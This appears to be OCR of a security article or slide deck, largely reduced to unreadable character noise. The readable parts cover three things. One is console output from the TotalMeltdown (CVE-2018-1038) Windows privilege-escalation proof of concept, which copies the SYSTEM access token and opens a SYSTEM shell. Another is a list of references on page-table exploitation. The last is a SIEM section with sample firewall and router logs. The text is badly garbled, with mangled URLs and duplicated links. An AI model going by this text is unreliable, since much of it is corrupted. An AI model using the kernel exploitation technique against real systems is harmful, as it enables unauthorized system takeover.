Copyright <(c) 2009 Microsoft Corporation. All right

IC:\User: pnowvhoani
vhox-win?\xpn

iNUsers \xpn2C:NlUserssxpn\DesktopsTotalMe ltdownPOC . ex
TotalMeltdown PrivEsc exploit by @_xpn
vuln and paging code by PUlfFrisk

PML4 Entry Added At 3% 3 256

PDPT Virtual Addre d ‘6 FB7DBBBISH

PD Virtual Addre : FFFFF6FPBGCANON000 ‘B6OAA1080 FF 'B6980A2 000
PD UVirtual Addr > ‘FFFF6FB6BBA308H ‘B6BIA4080 F ‘B680ABS5 8980
PD Uirtual Add:r J b} l'l)HHH( w88 FFFF ‘B6BUIA7080 'B6 NGB8 BAY
PD Virtual Addresse 'FF | ¥ 'FFF HPAeN F F6 16 ARABABH
PD irtual Addr 'FF B l-”HHl 51510 *FFF 688ADB8H 'FF "B6BABERBN
PD Uirtual Add: 1 B6OAAFOO® FFFF B6 291 8080 "B6 831 1080
PD irtual Add» "B6881 2088 v ‘B6OA136088 FF ‘B6BA1 1800
PD VUirtual ﬂ:hll 815888 FFFFF B6BA1608H ‘B68U1 78080
PD Virtual 'S : 'B6OA180O8 FFFF ‘B69A19089A FF ‘B6OO1 ADBO
PD irtual C - R N.“Hl BABH "B6BA1CH8A FF ‘B6931 DOBA
PD UVirtual A

Page tables creat ' é » access to "31gbh of physic: mory
Hunting for _EPRO st ez in menory

Found our _EPROC & 'FBORA7FE23068

Found System _EP I FFFF8G0B07FF«

Copying access token from FFFFOBBA7FF44248 to FFFF8R09’

Done, spawning SYSTEN hell..

Users\x ogsoft Windows [Version 6.1.7601)
Copyright < 2 Microsoft Corporation. All rights reser

windows\svystemn32>
WUsers\xpnovhoani
authority\systen

windows\systeni2>
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cLxX 1 1 T X x 1) Intdl *LxPagings X ST x 1My L L X x XD xS 1S XL
X", X0 (v X st s b e X pTOTLBS LA KX L x|
Lhox s M ox Lo L. S, 1_s s X Fdloxox LS I o 4] x™xsx
o4 ] x JB4%.)PML4A* (SelfRef Entry  + 4 _ _ 1 _ _  _x 1l x> X s =] x
DxXx s . PML4 SelfRef Entryst L . L~ "4 vs 1 4s .
A0t A e x T x DX e p 44T X xS
CLLox Ty osx o sPagingsd XX T % XD T 0 8k s AP s x L 1%,
CVE2016 : ~ L ~"1 47" 1L 4] x' yls _IxTx lxpx X
Total s _ L x1s I« x”",X sx ., « s | TxX «,§255 [ 1% 5%
w8 Tx 14 Do (*Xx ] x Meltdownr « 0 oL 4%
= s S T R O TRUR AT TR B H | RO P I ] 4L s e
X "X x4, X 1oX o« L "L .o 14« = 4 x s s " =1 P I
(s _ox1 ox 17T ANTLT ST s Ixx T, LLxxx DX
-s L LT IR s Fd X X 7oL 1] L Doxo Xl DX L~
SelfRef-s  + _ | <Wintows 30 1607 (Redstone-1) ¢ 1 s PMDP4* SelfRef.Entry
Pxaxbx o rx e X  ad) e d de X8 1 Tes, sx S H Y SEnty % 14 4 L | x|
4L Yyi2.60 x | sZeroNights 2018 x © « SelfRefEntrys  + « _ 7 s 4+« T {Xs | x
> SelfRef Entrys  : « < x . _ (Enrique Elfas Nissimsl« .2 KSNB |, 2dzNJ t 1 3S [ A
- x ¢ I  Redstone'l- ¢  *
X T dd XA A7 L e s eSS s A% XXX s XSS AT sis L, ]
X v x4 i x L  SelfRefEnirys r d ¥ X oI X4y s T dxE x4 xS

Joedxx 410 1 PE S 14x

Lol , » v .S CYR20167255¢ ™M=+ | ~~1L ~1L _S x5 L xgo 01«
1, R I Cx ] L 1x 4 _s 1. %4« L X Xoxo o]

~ ~ ~

Dox D GitHuB b x e oy L T

https://github.com/yuvatia/pagetable-exploitation

Il s v ., « S L s | x

uval4u2l@gmail.com: ~ _ X Ll sx 4T ox DX, s DX
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oA :

;s 11 Paging X1
https://en.wikipedia.org/wiki/Paging
:YouTube David BlaciSchaffen. _& + A NIi dzI f ~axS\¥2 NE £

https://www.youtube.com/watch?v=qcBlvnQtOBw

:MSDN* ntdebuge _¥ * 1&'*y RSNAGF yRBAY 3 Ht ¢9¢

https://blogs.msdn.microsoft.com/ntdebugging/2010/02/05/understandipte-part-1-lets-get-physcal

https://blogs.msdn.microsoft.com/ntdebugging/2010/04/14/understandipte-part2-flagsand-large-pages

https://blogs.msdn.microsoft.com/ntdebugging/2010/06/22/paBunderstandingpte-non-pae-and-x64/
Infosec Insititue ¢ ¢ NI yat F GAy 3 =+ A NI dzZliAfy R atYK & KRGIAL | 1f R R NSRS a2y
https://resources.infosecinstitute.com/translatingrtual-to-physicaladdresson-windowsphysicaladdressek

:Core Security Nicolas Economou+ ¢ DSGGAYy 3 5 KeaaOol f ¢

https://www.coresecurity.com/blog/gettinephysicalextreme-abuseof-intel-basedpagingsystemspart-1

https://www.coresecurity.com/blog/gettinephysicalextreme-abuseof-intel-basedpagingsystemspart-2-windows

https://www.coresecurity.com/blog/gettingphysicalextreme-abuseof-intel-basedpagingsystemspart-3-windows

halsheap
X Enrique Elias Nissimy 1 a DS G G Ay 3 GtNBYaSA Olaidrda O E2F Ly (St6 ol aSR t I 3A

CanSecWest20%6 Nicolas Economou
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%2820Getting%20Physical%20
%20Extended%20Version.pdf

Black Hat 2016 Microsoftx ¥ 1 ¢ 2 AYR26& wmn aAlGAIFLHA2Yy LYLINERJ:

https://www.blackhat.com/docs/usl 6/materials/us16-WestonWindows10-Mitigation-Improvements. pdf
Black Hat* Morten Schenkf 1 - ¢ ¢ 1Ay 3 2AyR26a wmn YSNYySt SOELX 2AGFGA2
2017
https://www.blackhat.com/docs/usl 7/wednesday/usl 7-SchenkT akingWindows10-KernetExploitatiorTo-The
NextLevel%E2%80%93Leveradiligte-WhatWhereVulnerabilitiesin-CreatorsUpdatewp.pdf
G/ 2YLIAL AVA! @aaSYOf SN/ 2RS9AY +Aadza f
https://deviorel.wordpress.com/2015/01/19/compilinG4-bit-assemblercodein-visualstudio-2014
G2 AyYR26a {a9t.10@&L) aa
https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS. pdf
Gc2dltf adtiR2oYyE

o}

-L
—~~

o™

http://blog.frizk.net/2018/03/total-meltdown.html
XPNL Y X (O*OFE LI 2 A20083038-¢ 2= f aSKAIR26Y ¢
https://blog.xpnsec.com/totaimeltdown-cve-20181038

GL Yy2s 2KSNB 12dz2NJ tF3IS [ A

https://github.com/IOActive/tknow-where-your-pagelives
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https://en.wikipedia.org/wiki/Paging
https://www.youtube.com/watch?v=qcBIvnQt0Bw
https://blogs.msdn.microsoft.com/ntdebugging/2010/02/05/understanding-pte-part-1-lets-get-physical/
https://blogs.msdn.microsoft.com/ntdebugging/2010/04/14/understanding-pte-part2-flags-and-large-pages/
https://blogs.msdn.microsoft.com/ntdebugging/2010/06/22/part-3-understanding-pte-non-pae-and-x64/
https://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-physical-addresses/
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-1
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
https://deviorel.wordpress.com/2015/01/19/compiling-64-bit-assembler-code-in-visual-studio-2014/
https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
http://blog.frizk.net/2018/03/total-meltdown.html
https://blog.xpnsec.com/total-meltdown-cve-2018-1038/
https://github.com/IOActive/I-know-where-your-page-lives
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(System Information Event ManageBIEMs - | -

DAY X L x T ] s oSS s xx s s8] Lis)%, s {1, L Tx |7y

~ ~ ~

SX 1T S L s x| X

~

, S . X L X N X 1X . Y { s | XXX A|‘|v$|EM$Xx-IA o
X oA e e e T a1 RSO Y X s, T x D4 LT

cos 1, ¢ X R e oss T TS s L

~ v v ~

DL T4s ' s. | « B0 27003 1SO270021SO 270011SO 27000 X " « ¥ A L S ¥ 4 .1
DX ] . X ]

-4 7 xs_.od. 0 xDaghboards, 4 "e x4 1 x 241
XX XL x4 Lo xs 37

FP1dC Jeax ot ] foxsd caULIX T X" s 47

~

P xs,,><1x‘\<(|_-] ¥ X" B

DXL XX Ll e X Y XD X I |,

~ A

I R L

~

<

~

r 4414111 RAWERventsl+ 1 ¥ %1 _.7

Do e XUTTS b T X K B kY L8

~

P41 LY X X"k . SO

lyisT 30

~ ~ ~

Zx{’!*l,,:x)EqJ.__ll

R R N SIS & BN WL NP IR I I

(Trends) X » 1% XSeuixgx © s X €47 xiy X4< " x13

~ ~

, 41 s ISbcxas a service (MSS Managed Security Servites)x ~» 4+ x 10 x T s 45X 5 X ]
T O T e e e e S A U S BV S
Cx, Xl X x e x by 4T x Yy, o X T x4 X s o ] T x0Ty
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SIEML | {1 sv¥is{ s

” 5 L R s . S X ., X 1 L , X = X ”-I ,SSIEMLY ”AY‘I\.Y V’~( SA-Il‘-Icv-ISL .

_s_|vv|_ xxvx A'IYV~ A|1vs Lo ] {4 L s s I S , . W X% i
.SIEM

v 'I nxvx I"IYX X < VX X . x.ls L sl"H‘LO('”L'IVH:X'I"”SXY—I"'I\L ss

STX s, x. X 1.6 s X X A YA E A L 4 XX

:Check Point

"14" "21Nov2005" "12 : 10:29" "eth - s1p4c0" "ip.of.firewall" "log" "accept”

"www http" "65.65.65.65" "10.10.10.10" "tcp

firewall" "len 68"

:Cisco Router

Nov 21 12 : 10:27: %SEC - 6- IPACCESSLOGP: list 102 permitted tcp
65.65.65.65(1355) ->10.10.10.10(80), 1 packet Cisco PIX
12:10:28:
%PIX- 6- 302001 :
65.65.65.65/1355
gaddr 10.10.10.10/80 laddr 10.0.111.22/80

Nov 21 2005

Built inbound TCP connection 125891 for faddr

B I T BT , Lo X s oo e s X 1x sy 1-x A
11 x«v. 4 71 ? L
Date Time Event_Name Src_IP Src_Port Tgt_Port| USERNAME | Device_Tipe
21-Now08 | 12:10:29 | Accept 65.65.65.65( 10.10.10.10 | 80 RONI Check Point
21-Now 08 | 12:10:27 | List 102 65.65.65.65| 10.10.10.10 | 80 RONI Cisco Router
permitted
Lx 14 s« Fdox .4 s Lo JEE SN IR P18 € FiAS AXoa ¥y v ¥
X X 4 s ¢ | . . x , | y x s Flox s q . X X
L, , X _ s7 4+ X X o x R x 1 xw oy i~
F i X X 1 . S E 5 . ” s ” J . s L X | ‘I X
L 1% -SO0CG - | 1 |
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ST N A 1411 s Lo~
==
Source IP: 65.65.65.65
AADADA|W o
= DestanationIP:30.30.30.30
Destanation port: 80
A A A Device action: pass
AdA
n'XNANax
Source IP: 65.65.65.65
Source port: 1355
DestanationIP: 30.30.30.30
Destanation port: 80
Device action: pass
Aggregated event count: 13
Start Time - End Time
17 el e P4, X s q4 s Tx " q 18 X 11 X %A A JR
] bys , =147 , Lo oL FoooX o CX L 1. x o T4« Tl
L~ _ X SOsdropXir X 45« w0 X oy 1 xFirewal aiccept x4 - ~¢d"~ 1+~ 7
.y xs, o P > x x | o s X I % Fdd17 o xox oL FoA X ., 9« L
L X RN T ooox  x " 0 v d . s s L Xt 404 s 4.4
I T s X, 4. ¥ x
ST _s -Tudx s X, x < s b4 s + + 1SIEMs Fdos X
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P 1
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Security Devices
FW, AV, IPS, HIPS, ..

| collector 1 Sl Algorichm
Network Devices m_»
Router, switch, VPN -

Dashboard

_p.h—di
UI
e

Servers
Neb serv,

Alert/Alarm
Collector 4

—— —

Applications
App native logs

Data Collectors Central Engine
y S s ix . o e d o x o Adx tx oo e e ddy sl s o x g F X
- x4 L+~ x 1., End Point SeeutifjyePS (x | WPS/IDS 4 x | ~ , + Firewalsx Py
. . S = X oL A q . ~ S Coax X - XL .
r 1Devicess .+ 1, X4 L« X v x 1 {:Qollectod . 4, ¥ 1~ XA - s
T P X oo XX X X X 1
:Devices + | R 2 R U B P Foxo
Native

Source K#¥ Collector

A x 44 v dYyx e L2 e 0 X

2 Collector

1Y X JERAEE SN 3, X . X1 .

« Firewall Log File - WMI ‘

e Router * Svslog * RPC
- A'piplication e Event log .
Source Collector

L 1% -SOG : _ 1
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g ’ Windows Unix
0
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Linux Log Files
% AS/400
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- =
Correlog 7
e h“ Server &j
Correlog -,
Users
Proac?ive
Web Server, cs:::‘erl'::lon
Applications,
IDS / IPS,
AntiVirus
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